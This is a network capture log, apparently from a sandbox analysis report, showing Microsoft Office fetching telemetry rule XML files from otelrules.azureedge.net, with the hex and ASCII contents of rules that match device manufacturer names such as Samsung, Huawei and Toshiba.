2024-10-31 16:27:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	62862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:03 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: deaa19c2-701e-006f-33de-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162703Z-17c5cb586f6wmhkn5q6fu8c5ss000000095000000000k4ng x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	62860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:03 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:03 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: bb81791c-801e-00ac-6687-29fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162703Z-159b85dff8f5bl2qhC1DFWs6cn00000001w0000000002fpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:03 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	62861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:03 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 4e15243a-401e-005b-2294-2a9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162703Z-159b85dff8fdjprfhC1DFWuqh000000000gg00000000drdg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	62864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:04 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:04 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:04 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162704Z-16849878b78fhxrnedubv5byks000000085g000000005gmt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:04 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	62866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:04 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:04 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162704Z-16849878b78sx229w7g7at4nkg0000000820000000008snk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:04 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	62868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:04 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:04 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162704Z-16849878b7828dsgct3vrzta70000000087g0000000093hz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	62865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:04 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:04 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 77d9d889-601e-003e-17d4-2a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162704Z-159b85dff8fbvrz4hC1DFW730c00000000x00000000082mg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:04 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	62867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:04 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 2a43884c-b01e-0098-517c-2acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162704Z-15b8d89586fst84kttks1s2css00000003c000000000gg40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	62869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:05 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:05 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5cde4d2e-001e-0046-6764-2ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162705Z-17c5cb586f6tg7hbbt0rp19dan000000020g00000000fyg0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:05 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	62873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:05 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:05 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: fa89f893-901e-00ac-46b8-2ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162705Z-159b85dff8fj6b6xhC1DFW8qdg00000001gg00000000c3cq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:05 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	62871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:05 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:05 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:05 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162705Z-16849878b78g2m84h2v9sta29000000008s00000000065z7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:05 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	62872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:05 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
